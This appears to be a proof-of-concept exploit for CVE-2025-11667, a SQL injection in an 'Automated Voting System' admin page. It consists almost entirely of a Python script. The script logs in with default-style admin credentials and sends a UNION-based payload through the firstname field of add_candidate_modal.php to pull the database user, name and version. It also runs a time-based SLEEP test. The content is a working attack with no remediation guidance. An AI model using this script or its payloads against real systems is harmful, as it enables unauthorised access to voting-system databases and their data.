CVE-2025-11667：Automated Voting System SQL注入漏洞

# CVE-2025-11667 - Automated Voting System SQL Injection PoC # Vulnerability: SQL Injection in /admin/add_candidate_modal.php (firstname parameter) # Author: Security Researcher import requests TARGET_URL = "http://target.com" ADMIN_PATH = "/admin/add_candidate_modal.php" USERNAME = "admin" PASSWORD = "admin123" # Step 1: Login to obtain session cookie session = requests.Session() login_url = f"{TARGET_URL}/admin/login.php" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, data=login_data) print(f"[*] Login response status: {response.status_code}") # Step 2: Craft SQL injection payload for firstname parameter # Payload: Extract database version and current user via UNION-based injection sql_payload = "test' UNION SELECT 1,user(),database(),version(),5-- -" # Step 3: Send malicious request to the vulnerable endpoint inject_url = f"{TARGET_URL}{ADMIN_PATH}" inject_data = { "firstname": sql_payload, "lastname": "test", "position": "1", "submit": "Save" } response = session.post(inject_url, data=inject_data) print(f"[*] Injection response status: {response.status_code}") print(f"[*] Response body:\n{response.text}") # Step 4: Alternative - Time-based blind SQL injection test time_payload = "test' AND SLEEP(5)-- -" time_data = { "firstname": time_payload, "lastname": "test", "position": "1", "submit": "Save" } import time start_time = time.time() response = session.post(inject_url, data=time_data) elapsed = time.time() - start_time print(f"[*] Time-based test elapsed: {elapsed:.2f}s (expect >5s if vulnerable)")